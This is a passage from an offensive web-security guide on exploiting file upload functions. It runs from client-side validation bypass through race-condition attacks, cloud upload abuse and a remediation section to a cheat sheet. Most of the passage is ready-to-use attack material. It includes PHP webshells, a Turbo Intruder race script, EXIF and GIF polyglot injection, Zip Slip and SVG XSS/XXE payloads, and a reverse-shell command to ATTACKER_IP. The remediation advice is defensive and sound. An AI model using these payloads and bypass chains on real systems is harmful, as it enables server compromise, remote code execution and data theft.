The HTML input element may restrict file types:
<input type="file" accept=".jpg,.jpeg,.png">
Bypass:
1. Open DevTools (F12)
2. Inspect the <input> element
3. Remove the accept="..." attribute or change to accept="*"
4. Select your malicious file normally
13.2 JavaScript Validation Bypass
If onchange / onsubmit handlers validate the filename client-side:
Method 1 — Disable JavaScript:
→ Firefox: about:config → javascript.enabled → false
→ Chrome extension: Toggle JavaScript
Method 2 — Intercept in Burp after client-side validation passes:
→ Upload a valid file (e.g. real.jpg)
→ Intercept the multipart POST in Burp
→ Change filename from "real.jpg" to "shell.php"
→ Change file body from image data to PHP payload
→ Forward
Method 3 — Drop the JS file from page source:
→ Burp Proxy → Match and Replace → strip the validation JS
13.3 Intercepting and Modifying the Upload in Burp
1. Set Burp as proxy, enable intercept
2. Upload a legitimate file that passes all client checks
3. Intercept the POST request
4. In the multipart body:
→ Change: filename="real.jpg" → filename="shell.php"
→ Change: Content-Type: image/jpeg → Content-Type: image/jpeg (keep)
→ Change body: [JPEG bytes] → <?php system($_GET['cmd']); ?>
5. Forward the modified request
6. Check response for upload path
7. Trigger: curl http://target.com/<path>/shell.php?cmd=id
14. Race Condition Uploads
HOW IT WORKS:
The server temporarily stores the uploaded file before validating it.
There's a brief window between storage and deletion/rejection.
If you can request the file during that window, you get code execution.
14.1 Race Condition Attack Flow
1. Server receives upload → saves file to disk as /uploads/shell.php
2. Server validates file → detects PHP → deletes file
3. RACE: between step 1 and 2, file exists on disk
4. Send many concurrent requests to /uploads/shell.php
5. One request hits during the window → code executes
14.2 Turbo Intruder — Race Condition
# Turbo Intruder script for race condition
# In Burp → right-click request → Extensions → Turbo Intruder → Send to Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True)
# Upload request — send once
upload_req = '''POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Bound
------Bound
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Bound--'''
# Trigger request — send many concurrent
trigger_req = '''GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.com
'''
# Queue the upload
engine.queue(upload_req)
# Queue 100 trigger requests in parallel
for i in range(100):
engine.queue(trigger_req)
def handleResponse(req, interesting):
if 'uid=' in req.response:
table.add(req)
14.3 Simple Race with curl
# Upload in background loop + trigger in parallel
# Terminal 1 — keep uploading:
while true; do
curl -s -X POST http://target.com/upload \
-F "file=@shell.php;type=image/jpeg" > /dev/null
done &
# Terminal 2 — keep triggering:
while true; do
result=$(curl -s "http://target.com/uploads/shell.php?cmd=id")
if echo "$result" | grep -q "uid="; then
echo "[+] RCE! Response: $result"
break
fi
done
15. Cloud & CDN Upload Pitfalls
15.1 S3 Bucket Misconfigurations
# If file is served from S3 directly — execution is impossible (S3 doesn't run code)
# BUT:
# 1. If files are publicly readable → data exposure
# 2. If PUT is open → attacker can upload files
# 3. If bucket policy allows any content-type → XSS via HTML/JS upload
# Check if bucket allows public uploads:
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp evil.html s3://target-bucket/ --no-sign-request
# Exploit: upload HTML that loads attacker script
# If served from same domain → XSS
15.2 Content-Disposition vs Content-Type Mismatch
# If the server serves uploads with:
# Content-Type: application/octet-stream (forces download)
# → XSS via HTML upload is not possible in modern browsers
# But if served with:
# Content-Type: text/html
# Content-Disposition: inline
# → Browser renders HTML → XSS
# Check headers on uploaded file:
curl -I http://target.com/uploads/evil.html
# If Content-Type is wrong for attack, look for:
# 1. CORS misconfig → steal from another origin
# 2. Content-Sniffing → IE/Edge may execute regardless
15.3 Signed URL Abuse
# Pre-signed S3 URLs allow direct upload — check if:
# 1. Content-Type is enforced in signed URL
# 2. Server validates after upload to S3
# 3. File is accessible after upload before server validation
# Test by uploading wrong type via signed URL:
curl -X PUT "https://s3.amazonaws.com/bucket/file.jpg?<signed params>" \
-H "Content-Type: text/html" \
--data-binary @evil.html
16. Automation — Tools & Wordlists
16.1 Burp Suite — Upload Testing Workflow
1. Upload a legitimate file → capture in Burp Proxy
2. Send to Repeater → manually test:
→ Change extension variations
→ Change Content-Type
→ Add magic bytes to payload
→ Add path traversal to filename
3. Send to Intruder for extension fuzzing:
→ Mark filename parameter as injection point
→ Use extension wordlist
→ Analyze responses for different status codes / sizes
4. Burp Active Scan → may detect some upload vulns automatically
5. Burp Collaborator → detect blind XXE / SSRF via upload
16.2 ffuf — Upload Directory & Extension Fuzzing
# Fuzz upload directory
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403
# Fuzz uploaded file extension (after you know filename pattern)
ffuf -u http://target.com/uploads/shellFUZZ -w extensions.txt -mc 200
# Fuzz filename for path traversal
ffuf -u http://target.com/uploads/FUZZ -w traversal.txt -mc 200,500
16.3 Useful SecLists Wordlists
# File upload extension fuzzing
/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
/usr/share/seclists/Fuzzing/extensions-offensive.fuzz.txt
# Web shells (pre-built)
/usr/share/seclists/Web-Shells/
/usr/share/webshells/ # Kali built-in
# Path traversal payloads (for filename field)
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/path-traversal-via-url-encoded-directory-traversal.txt
16.4 exiftool — EXIF Injection
# View existing EXIF data
exiftool image.jpg
# Inject PHP into Comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg
# Inject into other fields (some parsers display these)
exiftool -Artist='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg
exiftool -Copyright='<?php phpinfo(); ?>' image.jpg -o shell.jpg
exiftool -ImageDescription='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg
# Remove all metadata (cleanup)
exiftool -all= clean.jpg
# Check what survives server-side processing
# (some apps strip EXIF on resize — test after round-trip)
16.5 file & python-magic — Verify Spoofing
# Check detected type before uploading
file shell.jpg
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"
# Verify magic bytes manually
xxd shell.jpg | head -3
hexdump -C shell.jpg | head -3
17. Remediation
17.1 Whitelist Extensions (Primary Control)
# ── Python (Flask) ──
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
# WRONG — checking if allowed ext is anywhere in name:
if '.jpg' in filename: # shell.php.jpg passes this!
save(file)
# CORRECT — check only the final extension:
if allowed_file(filename):
save(file)
// ── PHP ──
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("File type not allowed");
}
// Also validate with finfo — don't trust extension alone:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg','image/png','image/gif'];
if (!in_array($mime, $allowed_mimes)) {
die("Invalid file type");
}
17.2 Sanitize the Filename
from werkzeug.utils import secure_filename
import uuid
# Always sanitize filename — never trust client-supplied name
filename = secure_filename(file.filename) # removes ../ and bad chars
# Better: generate a random filename entirely
filename = str(uuid.uuid4()) + '.jpg' # no user input in filename
# Store original name separately in DB if needed for display
// PHP:
$filename = bin2hex(random_bytes(16)) . '.jpg'; // random hex name
// or:
$filename = basename($_FILES['file']['name']); // strip path components
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename); // allowlist chars
17.3 Store Files Outside Web Root
WRONG:
/var/www/html/uploads/user_file.php ← web-accessible, executable
CORRECT:
/var/uploads/user_file.dat ← outside web root, not accessible via HTTP
Serve files through a controller:
GET /file?id=abc123 → server reads /var/uploads/abc123, sets Content-Type, streams
→ Never executes the file, controls Content-Type header
# Serve file through Flask (not directly via web server):
from flask import send_file
import mimetypes
@app.route('/file/<file_id>')
def serve_file(file_id):
# Validate file_id (alphanumeric only — prevent traversal)
if not re.match(r'^[a-f0-9]{32}$', file_id):
abort(400)
filepath = os.path.join('/var/uploads/', file_id)
if not os.path.exists(filepath):
abort(404)
# Force Content-Type and Content-Disposition
return send_file(filepath,
mimetype='image/jpeg',
as_attachment=False)
17.4 Disable Execution in Upload Directory
# Apache — prevent PHP execution in upload directory
# /var/www/html/uploads/.htaccess
php_flag engine off
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
# Or via main config:
<Directory /var/www/html/uploads>
php_admin_flag engine Off
Options -ExecCGI -Indexes
AllowOverride None
<FilesMatch "\.(php|phtml|phar|asp|aspx|jsp)$">
Deny from all
</FilesMatch>
</Directory>
# Nginx — prevent PHP execution in uploads
location /uploads/ {
# Disable PHP processing
location ~ \.php$ { deny all; }
# Force download / content-type
add_header Content-Type application/octet-stream;
add_header Content-Disposition attachment;
}
17.5 Content Validation — Magic Bytes + MIME
import magic
def validate_image(filepath):
mime = magic.from_file(filepath, mime=True)
allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']
if mime not in allowed_mimes:
raise ValueError(f"Invalid file type: {mime}")
# For images — use PIL to re-encode, stripping all metadata:
from PIL import Image
import io
def safe_process_image(upload_stream):
try:
img = Image.open(upload_stream)
img.verify() # checks integrity
upload_stream.seek(0)
img = Image.open(upload_stream)
# Re-encode — strips EXIF, polyglot payloads, etc.
output = io.BytesIO()
img.save(output, format='JPEG')
return output.getvalue()
except Exception:
raise ValueError("Invalid image")
17.6 Defense-in-Depth
PRIMARY CONTROLS:
├── Whitelist file extensions (check final extension only)
├── Validate MIME type server-side (magic bytes, not Content-Type header)
├── Sanitize / randomize filename (no user input in stored name)
├── Store files outside web root
└── Serve files through a controller with forced Content-Type
SECONDARY CONTROLS:
├── Disable script execution in upload directory (Apache/Nginx config)
├── Re-encode images with PIL/GD (strips polyglot payloads & EXIF)
├── Limit file size (prevent DoS / zip bombs)
├── Scan uploads with antivirus (ClamAV, commercial AV)
├── Separate file server / CDN for user content (different origin)
└── CSP header: prevent XSS from uploaded HTML/SVG
DETECTION:
├── Log all uploads with filename, size, MIME, user, IP
├── Alert on unexpected file types reaching upload endpoint
├── Monitor upload directories for new executable files (inotify, auditd)
├── WAF rules for upload bypass patterns (../, null byte, double extension)
└── DAST scanning (Burp, Nikto) in CI/CD pipeline
18. Master Cheat Sheet
Attack Decision Tree
Found a file upload function?
│
├── What does the server accept?
│ ├── Any file → try direct webshell upload
│ └── Restricted → map validation layers (client / server / magic bytes)
│
├── Client-side validation only?
│ └── Bypass: remove accept= in DevTools, or intercept post-validation in Burp
│ → Change filename + content in Burp → upload webshell
│
├── Server validates extension (blacklist)?
│ ├── Try alternative extensions: phtml, php5, phar, php7
│ ├── Try case: .PHP, .PhP
│ ├── Try double extension: shell.jpg.php
│ ├── Try null byte: shell.php%00.jpg (PHP < 5.3.4)
│ └── Try trailing dot/space: shell.php. (Windows)
│
├── Server validates extension (whitelist)?
│ ├── Upload .htaccess → remap .jpg to PHP → upload shell.jpg
│ ├── Upload web.config (IIS) → remap extension
│ ├── Nginx path info: shell.jpg/x.php
│ └── Try polyglot: GIF89a + PHP → upload as .gif
│
├── Server validates Content-Type?
│ └── Set Content-Type: image/jpeg in Burp while uploading PHP
│
├── Server checks magic bytes?
│ ├── Prepend GIF89a to PHP payload
│ ├── exiftool inject into real image
│ └── Create proper polyglot file
│
├── No PHP execution in upload dir?
│ ├── Path traversal in filename: ../shell.php
│ ├── LFI → include uploaded image as PHP
│ ├── Second-order: ImageMagick, ffmpeg, cron
│ ├── SVG upload → XSS or XXE
│ └── DOCX/XLSX XXE
│
├── File briefly exists before deletion?
│ └── Race condition → Turbo Intruder concurrent upload + trigger
│
└── Got webshell? → Escalate
├── curl /shell.php?cmd=id
├── Upgrade: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
└── Post-exploit: enum, creds, pivot
Quick Payload Reference
# ── Minimal PHP Webshells ──
<?=`$_GET[c]`?>
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
# ── GIF Polyglot ──
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
# ── EXIF Injection ──
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# ── .htaccess Remap ──
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# ── web.config (IIS) ──
# (see section 10.5 for full XML)
# ── Path Traversal in Filename ──
../shell.php
../../shell.php
..%2Fshell.php
..%252Fshell.php
# ── Null Byte (PHP < 5.3.4) ──
shell.php%00.jpg
# ── Zip Slip ──
python3 -c "import zipfile; z=zipfile.ZipFile('e.zip','w'); z.writestr('../shell.php','<?php system(\$_GET[\"cmd\"]); ?>'); z.close()"
# ── SVG XSS ──
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"></svg>
# ── SVG XXE ──
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
# ── Trigger webshell ──
curl "http://target.com/uploads/shell.php?cmd=id"
curl -G "http://target.com/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd"
# ── Upgrade to reverse shell ──
curl -G "http://target.com/uploads/shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Extension Quick Reference
PHP variants: php phtml phar php5 php7 php3 pht pgif
ASP variants: asp aspx asa asax ashx cer
JSP variants: jsp jspx jspf
Case bypass: .PHP .PhP .pHtml .PHTML
Double ext: .php.jpg .jpg.php .php.png
IIS bypass: .asp;.jpg .aspx;.jpg
Null byte: .php%00.jpg (PHP < 5.3.4)
Windows: .php. (trailing dot) .php (trailing space)
Common Upload Tool Commands
# Verify file type
file shell.jpg
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"
# EXIF injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# Create Zip Slip archive
python3 -c "import zipfile; z=zipfile.ZipFile('e.zip','w'); z.writestr('../shell.php','<?php system(\$_GET[\"cmd\"]); ?>'); z.close()"
# Directory fuzzing to find upload path
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php
# Race condition
# Burp Turbo Intruder → send upload + 100x trigger concurrently